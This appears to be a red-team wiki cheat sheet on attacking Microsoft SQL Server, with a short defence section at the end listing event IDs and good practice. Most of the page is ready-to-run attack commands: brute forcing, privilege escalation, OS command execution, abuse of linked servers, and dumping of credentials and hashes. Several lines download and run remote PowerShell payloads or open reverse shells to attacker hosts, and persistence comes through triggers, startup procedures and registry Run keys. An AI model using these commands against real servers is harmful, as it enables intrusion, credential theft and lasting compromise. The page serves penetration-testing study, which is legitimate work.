MSSQL

Tools
PowerUpSQL: https://github.com/NetSPI/PowerUpSQL​
HeidiSQL: https://www.heidisql.com/​
Gaining Access 
Finding SQL Servers
PowerUpSQL
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# UDP Scanning
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Get-SQLInstanceScanUDP
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​
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# Local Instance
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Get-SQLInstanceLocal
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​
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# Discovery (SPN Scanning): 
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Get-SQLInstanceDomain
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​
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# Check Accessibility: 
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Get-SQLConnectionTestThreaded
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​
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# Get available servers and test if current user can connect:
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Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose 
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​
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# Gather Information: 
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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Brute Forcing
Nishang
PowerUpSQL
1
$comp = (GetSQLInstanceDomain).computername
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$comps | Invoke-BruteForce -UserList C:\dict\users.txt -PasswordList C:\dict\passwords.txt -Service SQL –Verbose 
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# Password Spray
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Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded Username sa -Password Password -Verbose
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​
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# Using public role to fuzz logins, can then feed those to brute force
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Get-SQLFuzzServerLogin -Instance ops-mssql –Verbose 
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Enumeration
Users / Roles
SQL
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# Current User
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SELECT SUSER_SNAME(); 
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SELECT SYSTEM_USER;
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SELECT IS_SRVROLEMEMBER('sysadmin');
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​
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# Current Role
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SELECT user;
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​
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# Show all logins on a server
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SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE'; 
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​
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# Show all database users for a database
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SELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE';
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​
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# List all sysadmins
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SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1;
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​
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# List all database roles
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SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM  RIGHT OUTER JOIN sys.database_principals AS DP1  ON DRM.role_principal_id = DP1.principal_id  LEFT OUTER JOIN sys.database_principals AS DP2  ON DRM.member_principal_id = DP2.principal_id  WHERE DP1.type = 'R' ORDER BY DP1.name;
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​
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# Effective permissions for the server
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SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
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​
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# Effective permissions for the database
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SELECT * FROM fn_my_permissions(NULL, 'DATABASE'); 
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# Active user token
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SELECT * FROM sys.user_token; 
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​
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Active login token
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SELECT * FROM sys.login_token;
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Databases
SQL
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# Version
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SELECT @@version;
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​
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# Current Database
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SELECT db_name();
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​
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# List all databases
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SELECT name FROM master..sysdatabases;
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Tables
SQL
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# List tables of a database
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SELECT name FROM <dbname>..sysobjects WHERE xtype = 'U';SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='<dbname>';
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​
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# Alternative to list tables
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SELECT name FROM <dbname>..sysobjects WHERE xtype = ‘U’;
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​
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# Use DB
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Use <dbname>;
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​
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# List table contents
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Select * from <tablename>;
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Sensitive Data
PowerUpSQL
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# Look for interesting DB on name 
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Get-SQLDatabaseThreaded -Threads 10 -Username sa Password [email protected] -Instance ops-sqlsrvprod -verbose | select -ExpandProperty DatabaseName
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​
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# Look for interesting DB that are encrypted (decrypted automatically for sa)
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Get-SQLDatabaseThreaded -Threads 10 -Username sa Password [email protected] -Instance ops-sqlsrvprod | WhereObject {$_.is_encrypted -eq “True"}
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​
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# Locating interesting data
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Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password [email protected] -Instance ops-sqlsrvprod -Verbose
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Privilege Escalation
Impersonation
SQL
PowerUpSQL
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# Find roles that you can impersonate
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SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
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​
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# Impersonate a user
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EXECUTE AS LOGIN = 'dbadmin'
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​
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 # Check privs of user 
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SELECT SYSTEM_USER 
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SELECT IS_SRVROLEMEMBER('sysadmin')
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​
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 # Revert 
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SELECT ORIGINAL_LOGIN()
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1
# Find users you can impersonate
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Invoke-SQLAuditPrivImpersonateLogin -Username sqluser Password [email protected] -Instance ops-mssql -Verbose
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​
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# Exploit
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Invoke-SQLAuditPrivImpersonateLogin -Instance ops-sqlsrvone.offensiveps.com –Exploit -Verbose
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Trustworthy Database
SQL
PowerUpSQL
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# Find trustworthy databases
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SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
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​
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# Look for db_owner role within a database
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USE <database>;
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SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM  RIGHT OUTER JOIN sys.database_principals AS DP1  ON DRM.role_principal_id = DP1.principal_id  LEFT OUTER JOIN sys.database_principals AS DP2  ON DRM.member_principal_id = DP2.principal_id  WHERE DP1.type = 'R' ORDER BY DP1.name;
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​
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# Impersonate DB_owner
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EXECUTE AS USER = 'dbo'; 
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SELECT system_user;
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​
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# Abuse privs of trustworthy db to add our user as a sysadmin
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EXEC sp_addsrvrolemember 'opsdc\labuser','sysadmin';
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​
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# Find trustworthy database
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Invoke-SQLAuditPrivTrustworthy -Instance ops-sqlsrvone Verbose
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UNC Path Injection
PowerUpSQL
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# Automate this with Inveigh as a capture server
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Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2 
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Juicy-Potato
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# Listener
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powercat -l -v -p 443
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​
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# Get command execution
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Get-SQLServerLinkCrawl -Instance INSTANCE -Query "EXEC master..xp_cmdshell 'powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443'"
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​
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# Grab Juicy potato
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wget http://192.168.50.51/juicy-potato-master/JuicyPotato/JuicyPotato.exe -UseBasicParsing -Outfile juicypotato.exe
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​
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# own
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./juicypotato.exe -t * -p c:\Windows\System32\cmd.exe -a "/c net localgroup Administrators DOMAIN\USER /add" -l 8000
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Command Execution
Xp_cmdshell
SQL
PowerUpSQL
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# Install xp_cmdshell
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sp_addextendedproc 'xp_cmdshell','xplog70.dll' 
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​
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# Enable xp_cmdshell
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EXEC sp_configure 'show advanced options',1
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RECONFIGURE
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EXEC sp_configure 'xp_cmdshell',1 
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RECONFIGURE
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​
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# Use xp_cmdshell
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EXEC master..xp_cmdshell 'whoami'
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Invoke-SQLOSCmd -Username sa -Password Password1 -Instance ops-mssql.offensiveps.com –Command whoami
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Extended Stored Procedures
PowerUpSQL
SQL
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# Create the DLL to add to the SQL db
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Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
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​
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# Register the dll from our system
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Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"
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​
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# Execute the stored procedure
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Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "EXEC xp_calc"
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​
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# List extended stored procedures
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Get-SQLStoredProcedureXP -Instance ops-sqlsrvone -Verbose
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​
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# Register the stored procedure (dll name and function name must match exactly)
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sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
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​
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# Execute the stored procedure
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EXEC xp_calc
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​
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# Drop the stored procedure
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sp_dropextendedproc 'xp_calc'
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​
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# Code sample for dll:
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https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp
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CLR Assemblies
Blog: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
PowerUpSQL
SQL
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# Enable CLR using manual SQL
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use msdb 
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GO  
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sp_configure 'show advanced options',1 
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RECONFIGURE 
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GO  
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sp_configure 'clr enabled',1 
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RECONFIGURE 
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GO
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​
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# Create the DLL for CLR
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Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop
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​
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# Execute commands through CLR
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Invoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "whoami" -Verbose
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​
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# List all DLLs added through CLR
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Get-SQLStoredProcedureCLR -Instance ops-sqlsrvone Verbose
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# Enable CLR using manual SQL
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use msdb 
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GO  
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sp_configure 'show advanced options',1 
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RECONFIGURE 
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GO  
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sp_configure 'clr enabled',1 
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RECONFIGURE 
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GO
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​
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# Create the DLL for CLR
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Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop
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​
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# Import the assembly file
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CREATE ASSEMBLY my_assembly 
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FROM '\\192.168.15.2\fileserver\cmd_exec.dll' 
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WITH PERMISSION_SET = UNSAFE; 
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GO 
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​
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# Import the assembly as a hexadecimal string of a CLR DLL
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CREATE ASSEMBLY [NMfsa] AUTHORIZATION [dbo] FROM 0x4D5A90……
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​
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# Link the assembly to a stored procedure 
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CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec]; 
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GO
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​
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# Execute commands
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cmd_exec 'whoami' 
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​
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# Cleanup
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DROP PROCEDURE cmd_exec 
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DROP ASSEMBLY my_assembly
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OLE Automation Procedures
PowerUpSQL
SQL
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# Automated enabling, executing and reading 
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Invoke-SQLOSCmdCLR -Username sa -Password Password1 Instance ops-sqlsrvone –Command "whoami" –Verbose
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1
# Enable OLE automation procedures
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sp_configure 'show advanced options', 1;  
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GO  
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RECONFIGURE;  
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GO  
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sp_configure 'Ole Automation Procedures', 1; 
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GO  
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RECONFIGURE;  
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GO
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​
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# Execute Command 
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DECLARE @output INT 
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DECLARE @ProgramToRun VARCHAR(255) 
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SET @ProgramToRun = 'Run("calc.exe")' 
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EXEC sp_oacreate 'wScript.Shell', @output out 
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EXEC sp_oamethod @output, @ProgramToRun 
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EXEC sp_oadestroy @output 
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​
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# Output has to be written to a file then read
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Agent Jobs
PowerUpSQL
SQL
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# List all jobs
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Get-SQLAgentJob -Instance ops-sqlsrvone -username sa -Password [email protected] -Verbose
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​
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# Execute commands 
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Invoke-SQLOSCmdAgentJob –Subsystem PowerShell -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "powershell –e <base64encodedscript>" -Verbose 
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–Subsystem CmdExec 
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–Subsystem VBScript 
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–Subsystem Jscript  
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# List all jobs
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SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
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​
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# Powershell Agent
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USE msdb;
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EXEC dbo.sp_add_job @job_name = N'PSJob';
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EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5;
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EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
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EXEC dbo.sp_start_job N'PSJob'
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## Cleanup
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EXEC dbo.sp_delete_job @job_name = N'PSJob'
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​
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# CMD agent
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USE msdb;
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EXEC dbo.sp_add_job @job_name = N'cmdjob';
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EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5;
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EXEC dbo.sp_add_jobserver @job_name = N'cmdjob';
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EXEC dbo.sp_start_job N'cmdjob';
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## Cleanup
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EXEC dbo.sp_delete_job @job_name = N'cmdJob'
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External Scripts
PowerUpSQL
SQL
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# Execute R
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Invoke-SQLOSCmdR -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" –Verbose
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​
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# Execute python
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Invoke-SQLOSCmdPython -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" -Verbose
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# Enable external scripts
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sp_configure 'external scripts enabled' 
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GO 
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​
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# Execute R script
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EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text));
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GO
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​
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# Grab NTLM hash with R
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@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0 mgh4x")' 
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​
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# Use Shell instead of system
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@script=N'OutputDataSet <data.frame(shell("dir",intern=T))'
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​
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# Execute Python
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EXEC sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([cmd_out] nvarchar(max)))
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Database Link Abuse
Enumerating Database Links
PowerUpSQL
Manual SQL
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# Look for links to remote servers
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Get-SQLServerLink -Instance INSTANCE -Verbose
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​
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# Enumerating nested database links 
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Get-SQLServerLinkCrawl -Instance INSTANCE -Verbose
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# Look for first link
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select * from master..sysservers
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​
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# look for second link
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select * from openquery("<linked-db>",'select * from master..sysservers')
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​
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# Enumerating nested database links 
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select * from openquery("INSTANCE1",'select * from openquery("INSTANCE2",''select * from master..sysservers'')')
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Enabling xp_cmdshell if rpcout is enabled (disabled by default)
SQL
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EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"
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Executing Commands
PowerUpSQL
SQL
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# Executes command over link
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Get-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'whoami'"
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​
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# shell
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Get-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443'"
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1
# Execute calc (note that ' double every link) (not - use full fqdn)
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select * from openquery("ops-mssql",'select * from openquery("ops-file",''select * from openquery("dpssqlsrvtwo",''''select @@version as version;exec master..xp_cmdshell "cmd /c calc.exe"'''')'')')
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​
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# Enumerate Info
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select * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''select * from master..sysservers;'''')'')')
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​
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# Use database over links
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select * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''EXEC (''''''''USE msdb; SELECT db_name()'''''''')'''')'')')
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Stealing Link Account
When the link is setup, its set with an account. This could be SA or it could be a user account. You can find out what that account is by enumerating the link. Whatever account the command is running as on the link, is the account used to set it up. 
Compromise DB-Server1, its linked to DB-Server2 with the SA of DB-Server2. Can use powershell to get the cleartext cred of SA for DB-Server2. Can then use HeidiSQL or similar to log into the DB-Server2 as SA, can then install cmd execution without dealing with RPCOUT (which prevents this occuring over the link).
Powershell-Modules/Get-MSSQLLinkPasswords.psm1 at master · NetSPI/Powershell-Modules
GitHub
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Import-module .\Get-MSSQLLinkPasswords.psm1
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Get-MSSQLLinkPasswords
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Persistance
Startup Stored procedures
SQL
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# Enable xp_cmdshell (shown above)
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​
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# Go into master db
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USE master 
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GO
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​
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# Create stored procedure
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CREATE PROCEDURE sp_autops 
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AS
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EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/ payload.ps1'')"'
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GO
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​
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# Mark the stored procedure for automatic execution when SQL server restarts
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EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
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​
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# List stored procedures marked for automatic execution
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SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
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Triggers
SQL
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# List all triggers
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SELECT * FROM sys.server_triggers
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​
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# List all triggers for a DB
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USE testdb
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SELECT * FROM sys.server_triggers
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​
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# DDL trigger (executes on create,alter and drop statements and some sp)
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CREATE Trigger [persistence_ddl_1] 
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ON ALL <SERVER/DATABASE> 
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FOR DDL_LOGIN_EVENTS 
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AS 
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EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"' 
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GO
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​
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# DML trigger (executes on insert, update and delete statements)
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USE master 
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GRANT IMPERSONATE ON LOGIN::sa to [Public];
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USE testdb
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CREATE TRIGGER [persistence_dml_1] 
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ON testdb.dbo.datatable FOR INSERT, UPDATE, DELETE AS
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EXECUTE AS LOGIN = 'sa' 
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EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"' 
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GO
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​
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# Logon triggers (executes on a user login)
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CREATE Trigger [persistence_logon_1] 
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ON ALL SERVER WITH EXECUTE AS 'sa' 
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FOR LOGON 
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AS 
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BEGIN 
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IF ORIGINAL_LOGIN() = 'testuser' 
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EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"' 
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END;
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Registry
PowerUpSQL
SQL
1
# Use xp_regwrite to execute a shell 
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Get-SQLPersistRegDebugger -Instance ops-sqlsrvone -username sa -Password Password1 -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Verbose
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​
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# Use xp_regwrite to persist
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Get-SQLPersistRegRun -Instance ops-sqlsrvone -username sa -Password Password1 -Name SQLUpdate -Command 'powershell –w 1 – NoP –NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")' -Verbose
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​
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# Use xp_regread as sysadmin to read autologon passwords from registry
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Get-SQLRecoverPwAutoLogon -Instance ops-sqlsrvone -username sa -Password Password1 -Verbose
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​
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# Using xp_regwrite
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EXEC xp_regwrite 
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@rootkey = 'HKEY_LOCAL_MACHINE', 
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@key = 'Software\Microsoft\Windows\CurrentVersion\Run', 
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@value_name = 'SQLServerUpdate', 
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@type = 'REG_SZ', 
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@value = 'powershell –w 1 –NoP –NoL iex(NewObject Net.WebClient).DownloadString("http://webserver/evil.ps1 ")';
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​
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# Using xp_regread
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DECLARE @Reg_Value VARCHAR(1000)
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EXECUTE xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion', ‘ProductName', @Reg_Value OUTPUT
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SELECT @Reg_Value;
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Dumping Hashes
PowerUpSQL
1
Get-SQLServerPasswordHash -instance INSTANCE -Verbose
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Defence
Good Practice
Audit SQL Servers to check the flow of links, trusts, privileges and credentials.  
Ensure that Service Accounts for databases are not high privilege domain account. 
Make sure that known dangerous Stored Procedures are disabled. 
Use SQL Server Audit to log interesting server level and database level events. 
Log and Audit. 
Monitor the logs.
General Logs
SQL Server Error Log is the place to look for interesting SQL Server logs. By default, the error log is located at %ProgramFiles%\Microsoft SQL Server\MSSQL.1MSSQL\LOG\ERRORLOG 
Logs can be viewed in Management Studio by browsing to Management -> SQL Server Logs 
Logs are also written to Windows Application logs with MSSQLSERVER as source.
Brute Force Logs
General best practices like having a good password policy and not using same username across databases. 
SQL server Logon failures are logged by default in the Windows application log with source MSSQLSERVER. 
Look for Event ID 18456. The log message also details the type of brute force - "Password did not match for the login provided" vs "Could not find a login matching the name provided."
Other Event IDs
Event ID 5084 also reports for setting TRUSTWORTHY to on/off. 
Event ID 17135 logs launch of startup stored procedures. 
Event ID 33090 for successful and 17750 for failed loading of DLLs.
Recall that all command execution techniques we used needed the use of sp_configure. 
Using sp_configure leaves Event ID 15457 in the Windows Application log with the configuration changed (argument passed to sp_configure). 
This can be used as a very good indicator of command execution. 
Make sure that an alert is generated only on the argument of sp_configure to avoid false positives.
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Alternate Cred Dumps
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Defences and Bypasses
Last modified 1yr ago